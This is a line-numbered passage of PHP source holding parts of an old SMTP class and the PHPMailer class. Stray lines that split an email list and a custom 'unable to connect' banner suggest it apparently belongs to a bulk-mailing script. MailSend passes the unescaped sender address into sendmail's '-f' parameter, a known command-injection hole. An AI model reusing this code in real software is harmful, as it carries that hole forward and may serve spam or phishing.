  1013. fputs($this->smtp_conn,"quit" . $this->CRLF);
  1014.  
  1015. # get any good-bye messages
  1016. $byemsg = $this->get_lines();
  1017.  
  1018. if($this->do_debug >= 2) {
  1019. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1020. }
  1021.  
  1022. $rval = true;
  1023. $e = null;
  1024.  
  1025. $code = substr($byemsg,0,3);
  1026. if($code != 221) {
  1027. # use e as a tmp var cause Close will overwrite $this->error
  1028. $e = array("error" => "SMTP server rejected quit command",
  1029. "smtp_code" => $code,
  1030. "smtp_rply" => substr($byemsg,4));
  1031. $rval = false;
  1032. if($this->do_debug >= 1) {
  1033. echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1034. $byemsg . $this->CRLF;
  1035. }
  1036. }
  1037.  
  1038. if(empty($e) || $close_on_error) {
  1039. $this->Close();
  1040. }
  1041.  
  1042. return $rval;
  1043. }
  1044.  
  1045. /**
  1046. * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1047. * Returns true if the recipient was accepted false if it was rejected.
  1048. *
  1049. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1050. *
  1051. * SMTP CODE SUCCESS: 250,251
  1052. * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1053. * SMTP CODE ERROR : 500,501,503,421
  1054. * @access public
  1055. * @return bool
  1056. */
  1057. function Recipient($to) {
  1058. $this->error = null; # so no confusion is caused
  1059.  
  1060. if(!$this->connected()) {
  1061. $this->error = array(
  1062. "error" => "Called Recipient() without being connected");
  1063. return false;
  1064. }
  1065.  
  1066. fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1067.  
  1068. $rply = $this->get_lines();
  1069. $code = substr($rply,0,3);
  1070.  
  1071. if($this->do_debug >= 2) {
  1072. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1073. }
  1074.  
  1075. if($code != 250 && $code != 251) {
  1076. $this->error =
  1077. array("error" => "RCPT not accepted from server",
  1078. "smtp_code" => $code,
  1079. "smtp_msg" => substr($rply,4));
  1080. if($this->do_debug >= 1) {
  1081. echo "SMTP -> ERROR: " . $this->error["error"] .
  1082. ": " . $rply . $this->CRLF;
  1083. }
  1084. return false;
  1085. }
  1086. return true;
  1087. }
  1088.  
  1089. /**
  1090. * Sends the RSET command to abort and transaction that is
  1091. * currently in progress. Returns true if successful false
  1092. * otherwise.
  1093. *
  1094. * Implements rfc 821: RSET <CRLF>
  1095. *
  1096. * SMTP CODE SUCCESS: 250
  1097. * SMTP CODE ERROR : 500,501,504,421
  1098. * @access public
  1099. * @return bool
  1100. */
  1101. function Reset() {
  1102. $this->error = null; # so no confusion is caused
  1103.  
  1104. if(!$this->connected()) {
  1105. $this->error = array(
  1106. "error" => "Called Reset() without being connected");
  1107. return false;
  1108. }
  1109.  
  1110. fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1111.  
  1112. $rply = $this->get_lines();
  1113. $code = substr($rply,0,3);
  1114.  
  1115. if($this->do_debug >= 2) {
  1116. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1117. }
  1118.  
  1119. if($code != 250) {
  1120. $this->error =
  1121. array("error" => "RSET failed",
  1122. "smtp_code" => $code,
  1123. "smtp_msg" => substr($rply,4));
  1124. if($this->do_debug >= 1) {
  1125. echo "SMTP -> ERROR: " . $this->error["error"] .
  1126. ": " . $rply . $this->CRLF;
  1127. }
  1128. return false;
  1129. }
  1130.  
  1131. return true;
  1132. }
  1133.  
  1134. /**
  1135. * Starts a mail transaction from the email address specified in
  1136. * $from. Returns true if successful or false otherwise. If True
  1137. * the mail transaction is started and then one or more Recipient
  1138. * commands may be called followed by a Data command. This command
  1139. * will send the message to the users terminal if they are logged
  1140. * in.
  1141. *
  1142. * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1143. *
  1144. * SMTP CODE SUCCESS: 250
  1145. * SMTP CODE SUCCESS: 552,451,452
  1146. * SMTP CODE SUCCESS: 500,501,502,421
  1147. * @access public
  1148. * @return bool
  1149. */
  1150. function Send($from) {
  1151. $this->error = null; # so no confusion is caused
  1152.  
  1153. if(!$this->connected()) {
  1154. $this->error = array(
  1155. "error" => "Called Send() without being connected");
  1156. return false;
  1157. }
  1158.  
  1159. fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1160.  
  1161. $rply = $this->get_lines();
  1162. $code = substr($rply,0,3);
  1163.  
  1164. if($this->do_debug >= 2) {
  1165. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1166. }
  1167.  
  1168. if($code != 250) {
  1169. $this->error =
  1170. array("error" => "SEND not accepted from server",
  1171. "smtp_code" => $code,
  1172. "smtp_msg" => substr($rply,4));
  1173. if($this->do_debug >= 1) {
  1174. echo "SMTP -> ERROR: " . $this->error["error"] .
  1175. ": " . $rply . $this->CRLF;
  1176. }
  1177. return false;
  1178. }
  1179. return true;
  1180. }
  1181.  
  1182. /**
  1183. * Starts a mail transaction from the email address specified in
  1184. * $from. Returns true if successful or false otherwise. If True
  1185. * the mail transaction is started and then one or more Recipient
  1186. * commands may be called followed by a Data command. This command
  1187. * will send the message to the users terminal if they are logged
  1188. * in and send them an email.
  1189. *
  1190. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1191. *
  1192. * SMTP CODE SUCCESS: 250
  1193. * SMTP CODE SUCCESS: 552,451,452
  1194. * SMTP CODE SUCCESS: 500,501,502,421
  1195. * @access public
  1196. * @return bool
  1197. */
  1198. function SendAndMail($from) {
  1199. $this->error = null; # so no confusion is caused
  1200.  
  1201. if(!$this->connected()) {
  1202. $this->error = array(
  1203. "error" => "Called SendAndMail() without being connected");
  1204. return false;
  1205. }
  1206.  
  1207. fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1208.  
  1209. $rply = $this->get_lines();
  1210. $code = substr($rply,0,3);
  1211.  
  1212. if($this->do_debug >= 2) {
  1213. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1214. }
  1215.  
  1216. if($code != 250) {
  1217. $this->error =
  1218. array("error" => "SAML not accepted from server",
  1219. "smtp_code" => $code,
  1220. "smtp_msg" => substr($rply,4));
  1221. if($this->do_debug >= 1) {
  1222. echo "SMTP -> ERROR: " . $this->error["error"] .
  1223. ": " . $rply . $this->CRLF;
  1224. }
  1225. return false;
  1226. }
  1227. return true;
  1228. }
  1229.  
  1230. /**
  1231. * Starts a mail transaction from the email address specified in
  1232. * $from. Returns true if successful or false otherwise. If True
  1233. * the mail transaction is started and then one or more Recipient
  1234. * commands may be called followed by a Data command. This command
  1235. * will send the message to the users terminal if they are logged
  1236. * in or mail it to them if they are not.
  1237. *
  1238. * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1239. *
  1240. * SMTP CODE SUCCESS: 250
  1241. * SMTP CODE SUCCESS: 552,451,452
  1242. * SMTP CODE SUCCESS: 500,501,502,421
  1243. * @access public
  1244. * @return bool
  1245. */
  1246. function SendOrMail($from) {
  1247. $this->error = null; # so no confusion is caused
  1248.  
  1249. if(!$this->connected()) {
  1250. $this->error = array(
  1251. "error" => "Called SendOrMail() without being connected");
  1252. return false;
  1253. }
  1254.  
  1255. fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1256.  
  1257. $rply = $this->get_lines();
  1258. $code = substr($rply,0,3);
  1259.  
  1260. if($this->do_debug >= 2) {
  1261. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1262. }
  1263.  
  1264. if($code != 250) {
  1265. $this->error =
  1266. array("error" => "SOML not accepted from server",
  1267. "smtp_code" => $code,
  1268. "smtp_msg" => substr($rply,4));
  1269. if($this->do_debug >= 1) {
  1270. echo "SMTP -> ERROR: " . $this->error["error"] .
  1271. ": " . $rply . $this->CRLF;
  1272. }
  1273. return false;
  1274. }
  1275. return true;
  1276. }
  1277.  
  1278. /**
  1279. * This is an optional command for SMTP that this class does not
  1280. * support. This method is here to make the RFC821 Definition
  1281. * complete for this class and __may__ be implimented in the future
  1282. *
  1283. * Implements from rfc 821: TURN <CRLF>
  1284. *
  1285. * SMTP CODE SUCCESS: 250
  1286. * SMTP CODE FAILURE: 502
  1287. * SMTP CODE ERROR : 500, 503
  1288. * @access public
  1289. * @return bool
  1290. */
  1291. function Turn() {
  1292. $this->error = array("error" => "This method, TURN, of the SMTP ".
  1293. "is not implemented");
  1294. if($this->do_debug >= 1) {
  1295. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1296. }
  1297. return false;
  1298. }
  1299.  
  1300. /**
  1301. * Verifies that the name is recognized by the server.
  1302. * Returns false if the name could not be verified otherwise
  1303. * the response from the server is returned.
  1304. *
  1305. * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1306. *
  1307. * SMTP CODE SUCCESS: 250,251
  1308. * SMTP CODE FAILURE: 550,551,553
  1309. * SMTP CODE ERROR : 500,501,502,421
  1310. * @access public
  1311. * @return int
  1312. */
  1313. function Verify($name) {
  1314. $this->error = null; # so no confusion is caused
  1315.  
  1316. if(!$this->connected()) {
  1317. $this->error = array(
  1318. "error" => "Called Verify() without being connected");
  1319. return false;
  1320. }
  1321.  
  1322. fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1323.  
  1324. $rply = $this->get_lines();
  1325. $code = substr($rply,0,3);
  1326.  
  1327. if($this->do_debug >= 2) {
  1328. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1329. }
  1330.  
  1331. if($code != 250 && $code != 251) {
  1332. $this->error =
  1333. array("error" => "VRFY failed on name '$name'",
  1334. "smtp_code" => $code,
  1335. "smtp_msg" => substr($rply,4));
  1336. if($this->do_debug >= 1) {
  1337. echo "SMTP -> ERROR: " . $this->error["error"] .
  1338. ": " . $rply . $this->CRLF;
  1339. }
  1340. return false;
  1341. }
  1342. return $rply;
  1343. }
  1344.  
  1345. /*******************************************************************
  1346. * INTERNAL FUNCTIONS *
  1347. ******************************************************************/
  1348.  
  1349. /**
  1350. * Read in as many lines as possible
  1351. * either before eof or socket timeout occurs on the operation.
  1352. * With SMTP we can tell if we have more lines to read if the
  1353. * 4th character is '-' symbol. If it is a space then we don't
  1354. * need to read anything else.
  1355. * @access private
  1356. * @return string
  1357. */
  1358. function get_lines() {
  1359. $data = "";
  1360. while($str = @fgets($this->smtp_conn,515)) {
  1361. if($this->do_debug >= 4) {
  1362. echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1363. $this->CRLF;
  1364. echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1365. $this->CRLF;
  1366. }
  1367. $data .= $str;
  1368. if($this->do_debug >= 4) {
  1369. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1370. }
  1371. # if the 4th character is a space then we are done reading
  1372. # so just break the loop
  1373. if(substr($str,3,1) == " ") { break; }
  1374. }
  1375. return $data;
  1376. }
  1377.  
  1378. }
  1379.  
  1380.  
  1381. $allemails = split("\n", $emaillist);
  1382. $numemails = count($allemails);
  1383.  
  1384. class PHPMailer {
  1385.  
  1386. /////////////////////////////////////////////////
  1387. // PROPERTIES, PUBLIC
  1388. /////////////////////////////////////////////////
  1389.  
  1390. /**
  1391. * Email priority (1 = High, 3 = Normal, 5 = low).
  1392. * @var int
  1393. */
  1394. var $Priority = 3;
  1395.  
  1396. /**
  1397. * Sets the CharSet of the message.
  1398. * @var string
  1399. */
  1400. var $CharSet = 'us-ascii';
  1401.  
  1402. /**
  1403. * Sets the Content-type of the message.
  1404. * @var string
  1405. */
  1406. var $ContentType = 'text/plain';
  1407.  
  1408. /**
  1409. * Sets the Encoding of the message. Options for this are "8bit",
  1410. * "7bit", "binary", "base64", and "quoted-printable".
  1411.  
  1412. * @var string
  1413. */
  1414. var $Encoding = 'quoted-printable';
  1415.  
  1416. /**
  1417. * Holds the most recent mailer error message.
  1418. * @var string
  1419. */
  1420. var $ErrorInfo = '';
  1421.  
  1422. /**
  1423. * Sets the From email address for the message.
  1424. * @var string
  1425. */
  1426. var $From = '';
  1427.  
  1428. /**
  1429. * Sets the From name of the message.
  1430. * @var string
  1431. */
  1432. var $FromName = '';
  1433.  
  1434. /**
  1435. * Sets the Sender email (Return-Path) of the message. If not empty,
  1436. * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1437. * @var string
  1438. */
  1439. var $Sender = '';
  1440.  
  1441. /**
  1442. * Sets the Subject of the message.
  1443. * @var string
  1444. */
  1445. var $Subject = '';
  1446.  
  1447. /**
  1448. * Sets the Body of the message. This can be either an HTML or text body.
  1449. * If HTML then run IsHTML(true).
  1450. * @var string
  1451. */
  1452. var $Body = '';
  1453.  
  1454. /**
  1455. * Sets the text-only body of the message. This automatically sets the
  1456. * email to multipart/alternative. This body can be read by mail
  1457. * clients that do not have HTML email capability such as mutt. Clients
  1458. * that can read HTML will view the normal Body.
  1459. * @var string
  1460. */
  1461. var $AltBody = '';
  1462.  
  1463. /**
  1464. * Sets word wrapping on the body of the message to a given number of
  1465. * characters.
  1466. * @var int
  1467. */
  1468. var $WordWrap = 0;
  1469.  
  1470. /**
  1471. * Method to send mail: ("mail", "sendmail", or "smtp").
  1472. * @var string
  1473. */
  1474. var $Mailer = 'mail';
  1475.  
  1476. /**
  1477. * Sets the path of the sendmail program.
  1478. * @var string
  1479. */
  1480. var $Sendmail = '/usr/sbin/sendmail';
  1481.  
  1482. /**
  1483. * Path to PHPMailer plugins. This is now only useful if the SMTP class
  1484. * is in a different directory than the PHP include path.
  1485. * @var string
  1486. */
  1487. var $PluginDir = '';
  1488.  
  1489. /**
  1490. * Holds PHPMailer version.
  1491. * @var string
  1492. */
  1493. var $Version = "";
  1494.  
  1495. /**
  1496. * Sets the email address that a reading confirmation will be sent.
  1497. * @var string
  1498. */
  1499. var $ConfirmReadingTo = '';
  1500.  
  1501. /**
  1502. * Sets the hostname to use in Message-Id and Received headers
  1503. * and as default HELO string. If empty, the value returned
  1504. * by SERVER_NAME is used or 'localhost.localdomain'.
  1505. * @var string
  1506. */
  1507. var $Hostname = '';
  1508.  
  1509. /**
  1510. * Sets the message ID to be used in the Message-Id header.
  1511. * If empty, a unique id will be generated.
  1512. * @var string
  1513. */
  1514. var $MessageID = '';
  1515.  
  1516. /////////////////////////////////////////////////
  1517. // PROPERTIES FOR SMTP
  1518. /////////////////////////////////////////////////
  1519.  
  1520. /**
  1521. * Sets the SMTP hosts. All hosts must be separated by a
  1522. * semicolon. You can also specify a different port
  1523. * for each host by using this format: [hostname:port]
  1524. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1525. * Hosts will be tried in order.
  1526. * @var string
  1527. */
  1528. var $Host = 'localhost';
  1529.  
  1530. /**
  1531. * Sets the default SMTP server port.
  1532. * @var int
  1533. */
  1534. var $Port = 25;
  1535.  
  1536. /**
  1537. * Sets the SMTP HELO of the message (Default is $Hostname).
  1538. * @var string
  1539. */
  1540. var $Helo = '';
  1541.  
  1542. /**
  1543. * Sets connection prefix.
  1544. * Options are "", "ssl" or "tls"
  1545. * @var string
  1546. */
  1547. var $SMTPSecure = "";
  1548.  
  1549. /**
  1550. * Sets SMTP authentication. Utilizes the Username and Password variables.
  1551. * @var bool
  1552. */
  1553. var $SMTPAuth = false;
  1554.  
  1555. /**
  1556. * Sets SMTP username.
  1557. * @var string
  1558. */
  1559. var $Username = '';
  1560.  
  1561. /**
  1562. * Sets SMTP password.
  1563. * @var string
  1564. */
  1565. var $Password = '';
  1566.  
  1567. /**
  1568. * Sets the SMTP server timeout in seconds. This function will not
  1569. * work with the win32 version.
  1570. * @var int
  1571. */
  1572. var $Timeout = 10;
  1573.  
  1574. /**
  1575. * Sets SMTP class debugging on or off.
  1576. * @var bool
  1577. */
  1578. var $SMTPDebug = false;
  1579.  
  1580. /**
  1581. * Prevents the SMTP connection from being closed after each mail
  1582. * sending. If this is set to true then to close the connection
  1583. * requires an explicit call to SmtpClose().
  1584. * @var bool
  1585. */
  1586. var $SMTPKeepAlive = false;
  1587.  
  1588. /**
  1589. * Provides the ability to have the TO field process individual
  1590. * emails, instead of sending to entire TO addresses
  1591. * @var bool
  1592. */
  1593. var $SingleTo = false;
  1594.  
  1595. /////////////////////////////////////////////////
  1596. // PROPERTIES, PRIVATE
  1597. /////////////////////////////////////////////////
  1598.  
  1599. var $smtp = NULL;
  1600. var $to = array();
  1601. var $cc = array();
  1602. var $bcc = array();
  1603. var $ReplyTo = array();
  1604. var $attachment = array();
  1605. var $CustomHeader = array();
  1606. var $message_type = '';
  1607. var $boundary = array();
  1608. var $language = array();
  1609. var $error_count = 0;
  1610. var $LE = "\n";
  1611. var $sign_key_file = "";
  1612. var $sign_key_pass = "";
  1613.  
  1614. /////////////////////////////////////////////////
  1615. // METHODS, VARIABLES
  1616. /////////////////////////////////////////////////
  1617.  
  1618. /**
  1619. * Sets message type to HTML.
  1620. * @param bool $bool
  1621. * @return void
  1622. */
  1623. function IsHTML($bool) {
  1624. if($bool == true) {
  1625. $this->ContentType = 'text/html';
  1626. } else {
  1627. $this->ContentType = 'text/plain';
  1628. }
  1629. }
  1630.  
  1631. /**
  1632. * Sets Mailer to send message using SMTP.
  1633. * @return void
  1634. */
  1635. function IsSMTP() {
  1636. $this->Mailer = 'smtp';
  1637. }
  1638.  
  1639. /**
  1640. * Sets Mailer to send message using PHP mail() function.
  1641. * @return void
  1642. */
  1643. function IsMail() {
  1644. $this->Mailer = 'mail';
  1645. }
  1646.  
  1647. /**
  1648. * Sets Mailer to send message using the $Sendmail program.
  1649. * @return void
  1650. */
  1651. function IsSendmail() {
  1652. $this->Mailer = 'sendmail';
  1653. }
  1654.  
  1655. /**
  1656. * Sets Mailer to send message using the qmail MTA.
  1657. * @return void
  1658. */
  1659. function IsQmail() {
  1660. $this->Sendmail = '/var/qmail/bin/sendmail';
  1661. $this->Mailer = 'sendmail';
  1662. }
  1663.  
  1664. /////////////////////////////////////////////////
  1665. // METHODS, RECIPIENTS
  1666. /////////////////////////////////////////////////
  1667.  
  1668. /**
  1669. * Adds a "To" address.
  1670. * @param string $address
  1671. * @param string $name
  1672. * @return void
  1673. */
  1674. function AddAddress($address, $name = '') {
  1675. $cur = count($this->to);
  1676. $this->to[$cur][0] = trim($address);
  1677. $this->to[$cur][1] = $name;
  1678. }
  1679.  
  1680. /**
  1681. * Adds a "Cc" address. Note: this function works
  1682. * with the SMTP mailer on win32, not with the "mail"
  1683. * mailer.
  1684. * @param string $address
  1685. * @param string $name
  1686. * @return void
  1687. */
  1688. function AddCC($address, $name = '') {
  1689. $cur = count($this->cc);
  1690. $this->cc[$cur][0] = trim($address);
  1691. $this->cc[$cur][1] = $name;
  1692. }
  1693.  
  1694. /**
  1695. * Adds a "Bcc" address. Note: this function works
  1696. * with the SMTP mailer on win32, not with the "mail"
  1697. * mailer.
  1698. * @param string $address
  1699. * @param string $name
  1700. * @return void
  1701. */
  1702. function AddBCC($address, $name = '') {
  1703. $cur = count($this->bcc);
  1704. $this->bcc[$cur][0] = trim($address);
  1705. $this->bcc[$cur][1] = $name;
  1706. }
  1707.  
  1708. /**
  1709. * Adds a "Reply-To" address.
  1710. * @param string $address
  1711. * @param string $name
  1712. * @return void
  1713. */
  1714. function AddReplyTo($address, $name = '') {
  1715. $cur = count($this->ReplyTo);
  1716. $this->ReplyTo[$cur][0] = trim($address);
  1717. $this->ReplyTo[$cur][1] = $name;
  1718. }
  1719.  
  1720. /////////////////////////////////////////////////
  1721. // METHODS, MAIL SENDING
  1722. /////////////////////////////////////////////////
  1723.  
  1724. /**
  1725. * Creates message and assigns Mailer. If the message is
  1726. * not sent successfully then it returns false. Use the ErrorInfo
  1727. * variable to view description of the error.
  1728. * @return bool
  1729. */
  1730. function Send() {
  1731. $header = '';
  1732. $body = '';
  1733. $result = true;
  1734.  
  1735. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1736. $this->SetError($this->Lang('provide_address'));
  1737. return false;
  1738. }
  1739.  
  1740. /* Set whether the message is multipart/alternative */
  1741. if(!empty($this->AltBody)) {
  1742. $this->ContentType = 'multipart/alternative';
  1743. }
  1744.  
  1745. $this->error_count = 0; // reset errors
  1746. $this->SetMessageType();
  1747. $header .= $this->CreateHeader();
  1748. $body = $this->CreateBody();
  1749.  
  1750. if($body == '') {
  1751. return false;
  1752. }
  1753.  
  1754. /* Choose the mailer */
  1755. switch($this->Mailer) {
  1756. case 'sendmail':
  1757. $result = $this->SendmailSend($header, $body);
  1758. break;
  1759. case 'smtp':
  1760. $result = $this->SmtpSend($header, $body);
  1761. break;
  1762. case 'mail':
  1763. $result = $this->MailSend($header, $body);
  1764. break;
  1765. default:
  1766. $result = $this->MailSend($header, $body);
  1767. break;
  1768. //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1769. //$result = false;
  1770. //break;
  1771. }
  1772.  
  1773. return $result;
  1774. }
  1775.  
  1776. /**
  1777. * Sends mail using the $Sendmail program.
  1778. * @access private
  1779. * @return bool
  1780. */
  1781. function SendmailSend($header, $body) {
  1782. if ($this->Sender != '') {
  1783. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1784. } else {
  1785. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1786. }
  1787.  
  1788. if(!@$mail = popen($sendmail, 'w')) {
  1789. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1790. return false;
  1791. }
  1792.  
  1793. fputs($mail, $header);
  1794. fputs($mail, $body);
  1795.  
  1796. $result = pclose($mail);
  1797. if (version_compare(phpversion(), '4.2.3') == -1) {
  1798. $result = $result >> 8 & 0xFF;
  1799. }
  1800. if($result != 0) {
  1801. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1802. return false;
  1803. }
  1804. return true;
  1805. }
  1806.  
  1807. /**
  1808. * Sends mail using the PHP mail() function.
  1809. * @access private
  1810. * @return bool
  1811. */
  1812. function MailSend($header, $body) {
  1813.  
  1814. $to = '';
  1815. for($i = 0; $i < count($this->to); $i++) {
  1816. if($i != 0) { $to .= ', '; }
  1817. $to .= $this->AddrFormat($this->to[$i]);
  1818. }
  1819.  
  1820. $toArr = split(',', $to);
  1821.  
  1822. $params = sprintf("-oi -f %s", $this->Sender);
  1823. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1824. $old_from = ini_get('sendmail_from');
  1825. ini_set('sendmail_from', $this->Sender);
  1826. if ($this->SingleTo === true && count($toArr) > 1) {
  1827. foreach ($toArr as $key => $val) {
  1828. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1829. }
  1830. } else {
  1831. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1832. }
  1833. } else {
  1834. if ($this->SingleTo === true && count($toArr) > 1) {
  1835. foreach ($toArr as $key => $val) {
  1836. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1837. }
  1838. } else {
  1839. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1840. }
  1841. }
  1842.  
  1843. if (isset($old_from)) {
  1844. ini_set('sendmail_from', $old_from);
  1845. }
  1846.  
  1847. if(!$rt) {
  1848. $this->SetError($this->Lang('instantiate'));
  1849. return false;
  1850. }
  1851.  
  1852. return true;
  1853. }
  1854.  
  1855. /**
  1856. * Sends mail via SMTP using PhpSMTP (Author:
  1857. * Chris Ryan). Returns bool. Returns false if there is a
  1858. * bad MAIL FROM, RCPT, or DATA input.
  1859. * @access private
  1860. * @return bool
  1861. */
  1862. function SmtpSend($header, $body) {
  1863. $error = '';
  1864. $bad_rcpt = array();
  1865.  
  1866. if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1867. return false;
  1868. }
  1869.  
  1870. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1871. if(!$this->smtp->Mail($smtp_from)) {
  1872. $error = $this->Lang('from_failed') . $smtp_from;
  1873. $this->SetError($error);
  1874. $this->smtp->Reset();
  1875. return false;
  1876. }
  1877.  
  1878. /* Attempt to send attach all recipients */
  1879. for($i = 0; $i < count($this->to); $i++) {
  1880. if(!$this->smtp->Recipient($this->to[$i][0])) {
  1881. $bad_rcpt[] = $this->to[$i][0];
  1882. }
  1883. }
  1884. for($i = 0; $i < count($this->cc); $i++) {
  1885. if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1886. $bad_rcpt[] = $this->cc[$i][0];
  1887. }
  1888. }
  1889. for($i = 0; $i < count($this->bcc); $i++) {
  1890. if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1891. $bad_rcpt[] = $this->bcc[$i][0];
  1892. }
  1893. }
  1894.  
  1895. if(count($bad_rcpt) > 0) { // Create error message
  1896. for($i = 0; $i < count($bad_rcpt); $i++) {
  1897. if($i != 0) {
  1898. $error .= ', ';
  1899. }
  1900. $error .= $bad_rcpt[$i];
  1901.  
  1902. }
  1903. $error = $this->Lang('recipients_failed') . $error;
  1904. $this->SetError($error);
  1905. $this->smtp->Reset();
  1906. return false;
  1907. }
  1908.  
  1909. if(!$this->smtp->Data($header . $body)) {
  1910. $this->SetError($this->Lang('data_not_accepted'));
  1911. $this->smtp->Reset();
  1912. return false;
  1913. }
  1914. if($this->SMTPKeepAlive == true) {
  1915. $this->smtp->Reset();
  1916. } else {
  1917. $this->SmtpClose();
  1918. }
  1919.  
  1920. return true;
  1921. }
  1922.  
  1923. /**
  1924. * Initiates a connection to an SMTP server. Returns false if the
  1925. * operation failed.
  1926. * @access private
  1927. * @return bool
  1928. */
  1929. function SmtpConnect() {
  1930. if($this->smtp == NULL) {
  1931. $this->smtp = new SMTP();
  1932. }
  1933.  
  1934. $this->smtp->do_debug = $this->SMTPDebug;
  1935. $hosts = explode(';', $this->Host);
  1936. $index = 0;
  1937. $connection = ($this->smtp->Connected());
  1938.  
  1939. /* Retry while there is no connection */
  1940. while($index < count($hosts) && $connection == false) {
  1941. $hostinfo = array();
  1942. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1943. $host = $hostinfo[1];
  1944. $port = $hostinfo[2];
  1945. } else {
  1946. $host = $hosts[$index];
  1947. $port = $this->Port;
  1948. }
  1949.  
  1950. if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1951. if ($this->Helo != '') {
  1952. $this->smtp->Hello($this->Helo);
  1953. } else {
  1954. $this->smtp->Hello($this->ServerHostname());
  1955. }
  1956.  
  1957. $connection = true;
  1958. if($this->SMTPAuth) {
  1959. if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1960. $this->SetError($this->Lang('authenticate'));
  1961. $this->smtp->Reset();
  1962. $connection = false;
  1963. }
  1964. }
  1965. }
  1966. $index++;
  1967. }
  1968. if(!$connection) {
  1969. $this->SetError($this->Lang('connect_host'));
  1970. }
  1971.  
  1972. return $connection;
  1973. }
  1974.  
  1975. /**
  1976. * Closes the active SMTP session if one exists.
  1977. * @return void
  1978. */
  1979. function SmtpClose() {
  1980. if($this->smtp != NULL) {
  1981. if($this->smtp->Connected()) {
  1982. $this->smtp->Quit();
  1983. $this->smtp->Close();
  1984. }
  1985. }
  1986. }
  1987.  
  1988. /**
  1989. * Sets the language for all class error messages. Returns false
  1990. * if it cannot load the language file. The default language type
  1991. * is English.
  1992. * @param string $lang_type Type of language (e.g. Portuguese: "br")
  1993. * @param string $lang_path Path to the language file directory
  1994. * @access public
  1995. * @return bool
  1996. */
  1997. function SetLanguage($lang_type, $lang_path = 'language/') {
  1998. if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  1999. include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2000. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2001. include($lang_path.'phpmailer.lang-en.php');
  2002. } else {
  2003. $this->SetError('Could not load language file');
  2004. return false;
  2005. }
  2006. $this->language = $PHPMAILER_LANG;
  2007.  
  2008. return true;
  2009. }
  2010.  
  2011. /////////////////////////////////////////////////
  2012. // METHODS, MESSAGE CREATION
  2013. /////////////////////////////////////////////////
  2014.  
  2015. /**
  2016. * Creates recipient headers.
  2017. * @access private
  2018. * @return string
  2019. */
  2020. function AddrAppend($type, $addr) {
  2021. $addr_str = $type . ': ';
  2022. $addr_str .= $this->AddrFormat($addr[0]);
  2023. if(count($addr) > 1) {
  2024. for($i = 1; $i < count($addr); $i++) {
  2025. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2026. }
  2027. }
  2028. $addr_str .= $this->LE;
  2029.  
  2030. return $addr_str;
  2031. }
  2032.  
  2033. /**
  2034. * Formats an address correctly.
  2035. * @access private
  2036. * @return string
  2037. */
  2038. function AddrFormat($addr) {
  2039. if(empty($addr[1])) {
  2040. $formatted = $this->SecureHeader($addr[0]);
  2041. } else {
  2042. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2043. }
  2044.  
  2045. return $formatted;
  2046. }
  2047.  
  2048. /**
  2049. * Wraps message for use with mailers that do not
  2050. * automatically perform wrapping and for quoted-printable.
  2051. * Original written by philippe.
  2052. * @access private
  2053. * @return string
  2054. */
  2055. function WrapText($message, $length, $qp_mode = false) {
  2056. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2057. // If utf-8 encoding is used, we will need to make sure we don't
  2058. // split multibyte characters when we wrap
